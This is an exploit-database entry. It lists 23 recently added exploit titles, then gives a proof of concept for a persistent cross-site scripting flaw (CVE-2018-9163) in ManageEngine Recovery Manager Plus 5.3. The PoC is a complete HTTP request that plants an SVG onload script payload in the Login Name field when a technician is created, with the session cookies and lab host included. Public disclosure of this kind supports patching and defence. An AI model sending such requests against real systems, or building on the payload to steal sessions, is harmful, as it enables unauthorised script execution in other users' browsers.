
23 changes to exploits/shellcodes Linux 2.6.30 < 2.6.36-rc8 - Reliable Datagram Sockets (RDS) Privilege Escalation (Metasploit) R 3.4.4 - Local Buffer Overflow (DEP Bypass) KYOCERA Multi-Set Template Editor 3.4 - Out-Of-Band XML External Entity Injection Adobe Enterprise Manager (AEM) < 6.3 - Remote Code Execution Superfood 1.0 - Multiple Vulnerabilities Private Message PHP Script 2.0 - Persistent Cross-Site Scripting Flippy DamnFacts - Viral Fun Facts Sharing Script 1.1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery Zenar Content Management System - Cross-Site Scripting GitBucket 4.23.1 - Remote Code Execution ManageEngine Recovery Manager Plus 5.3 - Persistent Cross-Site Scripting Siemens SIMATIC S7-1200 CPU - Cross-Site Request Forgery Teradek VidiU Pro 3.0.3 - Cross-Site Request Forgery Teradek VidiU Pro 3.0.3 - Server-Side Request Forgery Teradek Cube 7.3.6 - Cross-Site Request Forgery Teradek Slice 7.3.15 - Cross-Site Request Forgery Schneider Electric PLCs - Cross-Site Request Forgery Auto Dealership & Vehicle Showroom WebSys 1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Admin Panel Authentication Bypass Merge PACS 7.0 - Cross-Site Request Forgery Model Agency Media House & Model Gallery 1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Authentication Bypass Wchat PHP AJAX Chat Script 1.5 - Persistent Cross-Site Scripting
35 lines
No EOL
1.5 KiB
Text
35 lines
No EOL
1.5 KiB
Text
# Exploit Title: ManageEngine Recovery Manager Plus 5.3 (Build 5330) - Persistent Cross-Site Scripting
|
|
# Dated: 2018-03-31
|
|
# Exploit Author: Ahmet GÜREL
|
|
# Software Link: https://www.manageengine.com/ad-recovery-manager/
|
|
# Version: < = 5.3 (Build 5330)
|
|
# Platform: Java
|
|
# Tested on: Windows
|
|
# CVE: CVE-2018-9163
|
|
|
|
# 1. DETAILS
|
|
# In the Add New Technician (s) section on the /admin/technicians page of the
|
|
# ManageEngine Recovery Manager Plus 5.3 (Build 5330) application, allows
|
|
# remote authenticated users with the Login Name parameter is vulnerable to
|
|
# XSS. The parameters entered are written in the database and affect all
|
|
# users.
|
|
|
|
# 2. PoC:
|
|
# From the Add New Technician (s) page, it is possible to inject malicious
|
|
# web code inside Login Name parameter. The HTTP request looks like the following:
|
|
|
|
GET
|
|
/technicianAction.do?req={%22domainId%22:0,%22loginName%22:%22%3Csvg%20onload%3Dprompt(document.domain)%3E%22,%22password%22:%22Test123%22,%22isDomainUser%22:false,%22roleId%22:1,%22operation%22:%22createTechnicians%22}
|
|
HTTP/1.1
|
|
Host: 172.16.219.168:8090
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0)
|
|
Gecko/20100101 Firefox/59.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://172.16.219.168:8090/
|
|
Content-Type: application/json; charset=utf-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Cookie: JSESSIONIDRMP=64556C394C0687AA34179CFE2EF4EA5A;
|
|
JSESSIONIDSSO=0605E8EB825B181A4A201542A518457D
|
|
Connection: close |